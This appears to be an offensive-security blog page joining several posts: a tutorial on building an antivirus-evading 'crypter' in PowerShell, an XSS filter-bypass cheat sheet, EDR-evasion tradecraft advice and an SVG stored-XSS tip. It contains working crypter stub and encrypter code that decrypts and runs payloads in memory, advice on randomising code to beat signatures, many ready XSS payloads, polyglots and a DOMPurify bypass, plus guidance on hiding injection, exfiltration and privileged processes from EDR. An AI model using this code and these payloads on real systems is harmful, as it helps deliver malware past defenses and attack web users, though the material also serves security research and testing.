100% evasion - Write a crypter in any language to bypass AV


Writing a 100% evasion crypter

Today I will be showing you how to write your own crypter in any language you want. I will be using an earlier in-development version of my recently released free and open-source PowerShell crypter Xencrypt as the basis for my examples (and that’s the tool you see in action in the screenshot above) as I walk you through how to design and implement your own crypter. The purpose of this article is to discuss it at a high enough level that you can take the ‘design principles’ and apply them to any language that you want and make your own, though you’re free to follow along in PowerShell if you care to.

Before we get into it, we need a clear idea of what a crypter is. In essence, it’s a tool for bypassing AV and obfuscating scripts and executables by employing encryption and obfuscation techniques. I used to be under this misconception that they’re this thing only the elitest of the elite would ever lay their hands on, but the truth is that they are very easy and fun to make (as long as you avoid a few pitfalls) and yet are profoundly effective in bypassing AV.

I do hope though that you’ll take this opportunity to try to make your own. The truth is that they are far too effective against AV for something so easy to write, and maybe if enough of them get made and released publicly there will be enough of an incentive for AV vendors to come up with better solutions for detecting them.

In the current state crypters are some of the most effective AV evasion tools in the hands of blackhats, and in my opinion any tool out of the hands of blackhats is a win for the whitehats.

Crypter operation

Crypter flowchart

The diagram above illustrates the processing flow in a crypter.

As you can tell there are 3 important component that we will have to write. Don’t worry, they’re not very difficult to create.

  • The encrypter - Takes an input payload and generates a stub-compatible encrypted payload
  • The stub - A chunk of code or a binary that accepts an encrypted payload, decrypting it and executing it
  • The combiner - Takes the stub and the encrypted payload, and combines them in a manner that generates a valid executable or script.

You basically need an encrypter, decrypter/executer (the stub) and some way to bundle the encrypted payload with the stub.

If you try to tackle them all at the same time it can get kind of confusing, so my recommendation is to start with the design of the stub.

The stub

Stub flowchart

The stub, as mentioned, is the decrypter and executer, as illustrated above.

We therefore need to decide on two things:

  • How to decrypt (and therefore also how to encrypt)
  • How to execute

How to Encrypt

They’re both relatively simple questions, but the devil is in the details. Take for instance my PowerShell crypter Xencrypt. It uses AES, but the reason I chose that is not because AES is better cryptographically than the alternatives, I use it because PowerShell provides a very simple way to call .NET functions, and it so happens AES can be very easily decrypted like so:

$aes.BlockSize = 128
$aes.Mode = [System.Security.Cryptography.CipherMode]::ECB
$aes.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$aes.KeySize = 128
$aes.Key = $key
$aes.IV = $payload[0..15]
$memstream = New-Object System.IO.MemoryStream(,$aes.CreateDecryptor().TransformFinalBlock($payload,16,$payload.Length-16))

I choose this approach over others because one of the primary ways antiviruses detect malware is through static rules. They pick out byte sequences or strings in a file and make rules that combined give a good indication that a file is a specific type of malware. By using standard API calls without doing anything custom, a rule against this crypter would have to rely on flagging ordinary API calls which may cause a problematic amount of false positives and is someting analysts seem to attempt to avoid based on my research. I could be wrong, but this part is definitely more of an art than a science.

If you hard-coded a very specific encryption and decryption algorithm, it is highly likely that they would be able to obtain a very low false positive rate simply by flagging that specific encryption and decryption routine as your stub’s ‘signature’. It’s a very lazy way to do it, but it works and is very effective against very specific versions of malware. One way to get around this limitation is by dynamically generating encryption and decryption algorithms or at the very least changing it by hand frequently, but that’s out of the scope for this article.

For the sake of moving on let’s say you’ve decided to go with AES like my crypter does. Cool!

How to Execute

Next step is deciding how we’re going to execute. Ordinarily this would be a trivial question to answer, but the most important detail here is that it must execute the payload only in memory. Your decrypted payload must never be allowed to touch the disk in an unencrypted state. If you save the decrypted payload to disk and execute it there, AV will simply scan the decrypted file and it’ll get picked up like the original input file would. Oops.

There’s usually a multitude of ways to do even the most basic execution of a file entirely in memory. For the Windows PE format alone, there’s at least 10 very different and well-documented ways. A discussion of this is out of scope, but Endgame/Elastic has an absolutely phenomenal discussion of them HERE if you’re interested. If you’re dead-set on crypting PE files I’d peg that as a great place to start your research on the method to use.

For script languages, using a method like eval (or your language’s equivalent) is usually sufficient and that’s what we’ll be doing in PowerShell (PowerShell’s equivalent is Invoke-Expression). You can get fancy and look up lesser-known methods that may be able to be used for the same purpose, but as the presence of an eval in a script file is not really a strong indication it’s malicious you’re likely fine just using that for your first crypter.

But don’t worry, in truth it does not matter hugely which method you pick as long as you do your research and can with some confidence say it’ll be able to execute the type of payload you want to deliver. If you’re dead-set on embedding binary files, I recommend using PE injection and being satisfied with shellcode only for the sake of your first foray into crypters.

Depending on the execution method you pick (that sounds weird), you may have the choice of making either a complicated stub or preparing your payload differently. For example, if you want to be able to process normal .exe files and use PE injection you’ll have to write code to patch all memory addresses in the executable when you load it into memory. That’s pretty complicated for a beginner. Alternatively, you can restrict yourself to processing only shellcode that you get through e.g. msfvenom or cobalt strike and then you don’t have to bother with that and the execution portion of your stub becomes almost just a matter of copying-and-pasting some code that you can find on GitHub.

That said, you should be somewhat familiar with your options. Since it’s impossible to list them all given that every language is evolving and there’s a hundred ways to do the same thing, I’ll give you the next best thing of a little table of some interesting key-words you may want to include while googling to find good information on the subject:

Language Keywords
C/++ process hollowing, PE injection
C# reflective loading, load assembly
VBA/Macros eval, vba obfuscate shell, maldoc, shell
Python eval, exec, compile
PHP eval,call_user_func, eval alternatives
PowerShell invoke-expression, call operator, script block

Another idea worth considering is that the method you pick depends mostly on the type of payload you want to execute and not what language you’re using. For example, a python crypter does not need to execute only python but could use OS API calls to execute a binary payload stored in an array in the script. But for the sake of this article I’m assuming that you’re trying to obfuscate whatever the ‘executable’ equivalent is for your language – so php files for php, PE/ELF files for C/++ and so forth. In my case Xencrypt is a PowerShell file and it outputs PowerShell files.

For your sanity while writing your first crypter I truly recommend sticking with the same-language principle. It’s far from impossible to mix things up, but generally each language has a number of helper functions to assist in the execution of itself (reflection, introspection, etc) that makes your life a lot easier. When you decide to mix it up you often do not get anything equivalent and have to do everything yourself – sometimes with no guidance because you may be the first person to be crazy enough to attempt it. Not impossible by any stretch of the imagination but definitely more complicated.

In my case, I wanted to make a PowerShell crypter that I could layer indefinitely on itself to further bypass dynamic AV (I tested it up to 500 layers), so Invoke-Expression was a natural fit since it can both return and execute string values. Ultimately what you choose doesn’t matter hugely and just changes how your payload has to be prepared by you.

Writing your stub

I find it useful to write a general outline of my stub, and I did this with Xencrypt as well. So in my case my ‘template’ is going to be:

$encData = "<encrypted payload in base64>"
$encKey = "<encryption key in base64>"

$aes = New-Object "System.Security.Cryptography.AesManaged"
$aes.Mode = [System.Security.Cryptography.CipherMode]::EBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$aes.BlockSize = 128
$aes.KeySize = 256
$aes.Key = [System.Convert]::FromBase64String($encKey)
$bytes = [System.Convert]::FromBase64String($encData)
$IV = $bytes[0..15]
$aes.IV = $IV
$decryptor = $aes.CreateDecryptor();
$unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16);

$input = New-Object System.IO.MemoryStream( , $unencryptedData )
$output = New-Object System.IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GzipStream $input, ([IO.Compression.CompressionMode]::Decompress)
$gzipStream.CopyTo( $output )
[byte[]] $byteOutArray = $output.ToArray()

$code = [System.Text.Encoding]::UTF8.GetString($byteOutArray) 

In Xencrypt’s case, I also take the optional step of compressing and decompressing my payload. This is simply to reduce the overhead and actually shrinks a lot of the output files to below that of their input files. Not difficult to do and has a quite nice advantage (though keep in mind this also means the stub has more code that can be used to create signatures for it! It’s a trade-off.)

But in either case, you can tell that it just takes a payload and key as a base64 encoded string, decrypts it, decompresses it and passes it to Invoke-Expression (The PowerShell equivalent of eval).

Turning your stub into a ‘combiner’

By this point you should have a rough draft for how your stub is going to look like. So, what’s next? We’ll be using what we established in the stub to write the encrypter and combiner. They can frequently be the same program and that is the case for Xencrypt, but sometimes it is possible and even more convenient to prepare the encrypted payload as a separate file. This is especially true if you’re working with compiled languges.

In any case, our encrypter is just going to be doing the inverse of what we did in the stub.

# read
$fileData = [System.IO.File]::ReadAllBytes($filename)

# compress
[System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GzipStream $output, ([IO.Compression.CompressionMode]::Compress)
$gzipStream.Write( $fileData, 0, $fileData.Length )
$unencryptedBytes = $output.ToArray()

# generate key
$aes = New-Object "System.Security.Cryptography.AesManaged"
$aes.Mode = [System.Security.Cryptography.CipherMode]::ECB # Don't ever use ECB for anything other than messing around
$aes.Padding = [System.Security.Cryptography.PaddingMode]::Zeros #this is also a terrible idea
$aes.BlockSize = 128
$aes.KeySize = 256
$b64key = [System.Convert]::ToBase64String($aes.Key)

# encrypt
$encryptor = $aes.CreateEncryptor()
$encryptedData = $encryptor.TransformFinalBlock($unencryptedBytes, 0, $unencryptedBytes.Length);
[byte[]] $fullData = $aes.IV + $encryptedData
$b64encrypted = [System.Convert]::ToBase64String($fullData)

And now we come to the step which is the biggest reason why I recommended you write your stub first. In the case of PowerShell, because it is a scripting language, we can simply take the stub code and use it as a template for our final payload, replace the relevant sections with the encrypted payload and the key and write it as the output to a new .ps1 file. Like so:

# write

$decompress_func = '
$encData = "{0}"
$encKey = "{1}"

$aes = New-Object "System.Security.Cryptography.AesManaged"
$aes.Mode = [System.Security.Cryptography.CipherMode]::ECB # Don't ever use ECB for anything other than messing around
$aes.Padding = [System.Security.Cryptography.PaddingMode]::Zeros #this is also a terrible idea
$aes.BlockSize = 128
$aes.KeySize = 256
$aes.Key = [System.Convert]::FromBase64String($encKey)
$bytes = [System.Convert]::FromBase64String($encData)
$IV = $bytes[0..15]
$aes.IV = $IV
$decryptor = $aes.CreateDecryptor();
$unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16);
$input = New-Object System.IO.MemoryStream( , $unencryptedData )
$output = New-Object System.IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GzipStream $input, ([IO.Compression.CompressionMode]::Decompress)
$gzipStream.CopyTo( $output )
[byte[]] $byteOutArray = $output.ToArray()
$code = [System.Text.Encoding]::UTF8.GetString($byteOutArray) 

$fleshed_out = $decompress_func -f $b64encrypted, $b64key

If you’re more interested in doing this for non-interpreted languages where you can’t use the exact above method to generate executable files, you can do basically same thing as above but instead generate the relevant source-code file (.go, .c, etc) and then get the same result by just running your relevant compiler to generate your final file. In certain languages there’s also good support for embedding resources in executables directly without having to type big byte arrays into source code and you may benefit from generating such a resource file by creating the encrypter as a separate tool, but the above is a general pattern which will work for any language as long as you write the routine to generate valid source code, which is in many cases only about as hard as using a template and maybe concatenating some strings together.

Aaaaand you’re done!

If you’ve followed along up to this point, you’ve now got a fully functional crypter. It really is that easy. In summary, my recommended steps for writing your own crypter are:

  1. Decide on language (and stick to the same input and output language unless you intentionally want the added difficulty)
  2. Decide on encryption function
  3. Decide on execution function
  4. Write stub code for doing the above two steps
  5. Write a helper script that can encrypt your payload and generate the stub code with your encrypted payload and key inserted, and if it’s a compiled language, compile it
  6. Win!

But that’s not the end of it…

There are a couple of things you can do to take your crypter to the next level from here. For one, if you’ve followed my tutorial above all your variable names are static. That’s bad. They are an almost 100% accurate way to fingerprint your crypter stub and will definitely be used by analysts to create very great rules to detect it. So you could for example write some extra code in your combiner to randomly generate variable names.

Here’s a non-exhaustive list of things you may want to consider

  • Shrink the stub footprint as much as possible
  • Research and implement tricky ways to fool AV
  • Randomize all variable and function names (Xencrypt does this)
  • Randomize the encryption you use (Xencrypt does this)
  • Randomize any compression you may use (Xencrypt does this)
  • Randomize the order of code statements (Xencrypt does this)
  • Figure out a way to support different types of input
  • Increase the time it takes to decrypt your payload in order to time out AVs
  • Implement support for recursively layering itself (Xencrypt does this)

Actual XSS in 2020

I dislike most XSS cheat sheets out there. Many attempt to be copy-and-paste sources (and never clean up things that stopped working 10 years ago) while ignoring that in most instances where you’re doing more difficult than trivial injection literally none of it will work for one reason or another (be it WAF or a XSS filter), and if it is trivial XSS then you just need one vector and not a million.

So I wanted to make a different kind of cheat cheet. A cheet sheet of techniques and tips and a brief list of examples for them all. My goal is that even if you encounter a weird filter or WAF, something in here will likely help you or give you ideas on how to proceed in attempting injection against it. There is no way to cover literally every possible thing you can do, but I believe what I’ve managed to cover is a vast majority of the techniques still in use in 2020.

Creating this has taken 10x longer than I initially expected, but I know that this list has been useful to me, so hopefully it will be useful for you as well.

Tag-attribute separators

Sometimes filters naively assume only certain characters can separate a tag and its attributes, here’s a full list of valid separators that work in firefox and chrome:

Decimal value URL Encoded Human desc
47 %2F Foward slash
13 %0D Carriage Return
12 %0C Form Feed
10 %0A New Line
9 %09 Horizontal Tab


Basically, if you have a payload that looks like:

<svg onload=alert(1)>

You can try to replace the space between ‘svg’ and ‘onload’ with any of those chars and still work like you expect it to:

So, these are all valid HTML and will execute (demo: valid html ):

onload=alert(1)><svg> # newline char
<svg	onload=alert(1)><svg> # tab char
<svgonload=alert(1)><svg> # new page char (0xc)

JavaScript event based XSS

Good reference for more events: More HTML events

Standard HTML events

(0-click only)

Name Tags Note
onload body, iframe, img, frameset, input, script, style, link, svg Great for 0-click, but super commonly filtered
onpageshow body Great for 0-click, but appears only usable in Non-DOM injections
onfocus most tags for 0-click: use together with autofocus=””
onmouseover most tags if possible, add styling to make it as big as possible. It’s technically a 0-click if you don’t have to click, right? /s
onerror img, input, object, link, script, video, audio make sure to pass params to make it fail
onanimationstart Combine with any element that can be animated Fired then a CSS animation starts
onanimationend Combine with any element that can be animated Fires when a CSS animation ends
onstart marquee Fires on marquee animation start - Firefox only?
onfinish marquee Fires on marquee animation end - Firefox only?
ontoggle details Must have the ‘open’ attribute for 0-click


<body onload=alert()>
<img src=x onerror=alert()>
<svg onload=alert()>
<body onpageshow=alert(1)>
<div style="width:1000px;height:1000px" onmouseover=alert()></div>
<marquee width=10 loop=2 behavior="alternate" onbounce=alert()> (firefox only)
<marquee onstart=alert(1)> (firefox only)
<marquee loop=1 width=0 onfinish=alert(1)> (firefox only)
<input autofocus="" onfocus=alert(1)></input>
<details open ontoggle="alert()">  (chrome & opera only)

HTML5 events

(0-click only)

Name Tags Note
onplay video, audio For 0-click: combine with autoplay HTML attribute and combine with valid video/audio clip
onplaying video, audio For 0-click: combine with autoplay HTML attribute and combine with valid video/audio clip
oncanplay video, audio Must link to a valid video/audio clip
onloadeddata video, audio Must link to a valid video/audio clip
onloadedmetadata video, audio Must link to a valid video/audio clip
onprogress video, audio Must link to a valid video/audio clip
onloadstart video, audio Great underexploited 0-click vector
oncanplay video, audio Must link to a valid video/audio clip


<video autoplay onloadstart="alert()" src=x></video>
<video autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadeddata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadedmetadata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadstart="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadstart="alert()"><source src=x></video>
<video controls oncanplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<audio autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>
<audio autoplay controls onplaying="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>

CSS-based events

Unfortunately, true XSS through CSS appears dead. All the vectors I’ve attempted only work on extremely old browsers. So what we’ve got is XSS that triggers based on CSS unless you feel like arguing with devs that an IE8 or old opera vulnerability is still a valid risk.

Note: Below uses style tags to set up keyframes for animation(start|end), but you can also check for already included CSS to reuse what’s already there.

<style>@keyframes x {}</style>
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

Weird XSS vectors

Just some odd/weird vectors that I don’t see mentioned often.

<svg><animate onbegin=alert() attributeName=x></svg>
<object data="data:text/html,<script>alert(5)</script>">
<iframe srcdoc="<svg onload=alert(4);>">
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>

XSS Polyglots

I use several XSS polyglots because sometimes you only have a certain # of characters to input and need a DOM or non-DOM based one. Don’t rely on these as there are circumstances they will fail, but if you’re fuzzing everything then polyglots can give okay coverage.

# chars Usage Polyglots
141 Both javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
88 Non-DOM "'--></noscript></noembed></template></title></textarea></style><script>alert()</script>
95 DOM '"--></title></textarea></style></noscript></noembed></template></frameset><svg onload=alert()>
54 Non-DOM "'>-->*/</noscript></ti tle><script>alert()</script>
42 DOM "'--></style></script><svg onload=alert()>


To attack JS Frameworks, always do research on the relevant templating language.



That payload works in most cases, but this great resource has a bunch of other recommendations for various versions you may want to try.



XSS Filter Bypasses

Parenthesis filtering

Abusing HTML parsers and JS Syntax:

<svg onload=alert`1`></svg>
<svg onload=alert&lpar;1&rpar;></svg>
<svg onload=alert&#x28;1&#x29></svg>
<svg onload=alert&#40;1&#41></svg>

Restricted charset

These 3 sites will transform valid JS to horrible monstrosities that have a good shot at bypassing a lot of filters:

Keyword filtering

Avoiding keywords:

top[8680439..toString(30)](1)  // Generated using parseInt("alert",30). Other bases also work

mXSS and DOM Clobbering

It’s basically impossible for XSS filters to correctly anticipate every way that HTML will be mutated by a browser and interacting libraries, so what happens is that you can sometimes sneak a XSS payload in as invalid HTML and the browser will correct it into a valid payload… which bypasses the filter.

mXSS paper with lots of details: here
Talk with good info on clobbering: here

mXSS payload that bypasses one of the most commonly used filters: DOMPurify <2.0.1

 <svg></p><style><a id="</style><img src=1 onerror=alert(1)>">
 <svg><p><style><a id="</style><img src=1 onerror=alert(1)>"></p></svg>

Double encoding

Simple enough, sometimes an application will perform XSS filtering on a string before it’s decoded once more, which leaves it open by filter bypasses. It’s pretty rare, but some bug hunters I know swear by it so I’m including it for reference.

Char Double encoded
< %253C
> %253E
( %2528
) %2529

General tips

  • VaRy ThE capItaliZatiOn. Sometimes a regex or other custom-made filters do case sensitive matching.
  • Practice your XSS skills on CTFs like Pwnfunction’s XSS CTF . You will likely learn techniques you did not know existed.


Great other resources:

Fantastic collection of somewhat old XSS stuff
Portswigger XSS cheatsheet
Portswigger XSS through Frameworks

Tradecraft - This is why your tools and exploits get detected by EDR


Recently I had the opportunity to play around with EDRs and test what works and doesn’t. What struck me is just how many behaviours and actions EDRs actually monitor for, and that unfortunately (for red team at least) most tools are not at all developed to combat the level of monitoring that EDRs provide. Below, I’ve compiled the most common reasons why the tools and payloads I tested were getting flagged as malicious and suspicious by EDRs so that you can hopefully also learn from my experiences.

The big no-no’s

Injecting into other processes

I was surprised, but this was actually the biggest contributor to why every tool I ran got detected again and again. Many tools rely on code injection to work. Opening up a windows process like notepad or running a dll and then injecting code into it is a common method to get around issues with unreliable code, because if the exploit code fails then the host process will almost always die. The EDR will almost always detect the injection of code into another process as malicious trigger all kinds of alerts.

Some techniques I tried like masking the parent process id that the new process runs under was successful in obfuscating which process had done the injection, but nonetheless the subprocess itelf was detected as malicious and instantly created an alert.

Similarly, some applications that implement self-injection were also detected as malicious. Though this was much more reliable than the injection into other processes (which literally never evaded detection), some tools appear to allocate RWX pages for self-injection, which turned out to be a significant contributor to whether a process was considered malicious or not.

RWX Pages

As mentioned, whether memory was set to RWX (read-write-execute) was a huge contributor in if executed code was detected as malicious or suspicious. Simply sticking with NX pages (that is, write OR execute on a page and never both) completely eliminated self-injection and shellcode detection in several cases. I strongly suggest that every precuation is taken to ensure RWX pages are never used anywhere in your tool if you want to avoid EDR detection.

PE/ELF code residing in memory

Simply having PE/ELF code residing in memory somewhere during process execution was enough to get flagged as suspicious in a few test cases. Either hide it, or decrypt it immediately before use and then discard it if you need to use this method.

Obfuscating powershell commands

Running a command under powershell with base64-encoded strings, piping output from a Invoke-WebRequest into a Invoke-Expression, etc, seemed to cause processes to get flagged as suspicious in a majority of cases. I believe this is because there are few legitimate uses for doing this, and it’s all too easy for the EDR to check this because powershell is so heavily instrumented. Funnily enough, in several cases just using cmd instead of powershell was enough to bypass detection, though that’s unlikely to last.

Exfiltration using odd protocols

DNS exfiltration appears to be widely recognized as a threat by EDRs and some effort is taken to detect it and in one of my test cases it was flagged almost immediately. There may be techniques which can bypass detection, but my recommendation is to try to exfiltrate by blending in with more common sources of traffic instead like HTTPS.

High-privilege or high-integrity processes in unexpected places

If you do a privilege escalation or UAC bypass, do your best to make sure that any high-privilege/integrity process you spawn do not look out of place. A cmd.exe instance running as NT Authority\System under Domain\Bob’s notepad.exe will get you detected in most of my tests. Better is making sure that process gets placed under another process owned by something more appropriate, like another process owner by NT Authority\System for example.

Reflection everywhere

Reflection is a common way to execute payloads or tools right now, partially because your payload may never have to touch the disk to execute. In my experiments, EDRs are sensitive to reflection because it’s not very commonly used in legitimate applications. In one case, reflection resulted in a RWX page being allocated and therefore getting detected as shellcode – instantly considered evil – in others, reflection would either evade detection or get flagged as suspicious. The latter case seemed mostly to do with how the code loaded was stored in memory before execution, as floating PE/ELF code was considered suspicious in and of itself. Ironically, writing to disk was the easiest way to evade detection because the EDR appeared to consider it normal disk activity.

High-privilege accounts doing unexpected things

In one case, the reason one of my tests was marked as suspicious was because a normally benign command was being run under NT Authority\System (something which usually never happens). I would therefore suggest you take a least-privilege approach and only use higher privileges accounts for things that require higher privileges to avoid casually getting detected for doing non-malicious actions.

So there you have it. In a vast majority of my test cases, these were the reasons my attmepts got detected. If you take into consideration the above points and design your tools and payloads to take this into account you are likely to be tremendously much more succesful.


Minitip - Stored XSS through SVG

The button below will write the following SVG image to the page (remember: SVG files are just code):

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
  <circle cx="50" cy="50" r="48" fill="none" stroke="#000"/>
  <path d="M50,2a48,48 0 1 1 0,96a24 24 0 1 1 0-48a24 24 0 1 0 0-48"/>
  <circle cx="50" cy="26" r="6"/>
  <circle cx="50" cy="74" r="6" fill="#FFF"/>
  ***<script>alert("XSS through SVG");</script>***

Which when loaded will trigger the XSS payload marked above. Any SVG file can contain javascript code, but to execute it you have to be able to access the file directly via either writing it to the page or visiting the SVG file directly. Linking it in an e.g. img tag will not work.

A SVG file with the code mentioned above is hosted here if you want to see for yourself that it executes the payload: XSS through SVG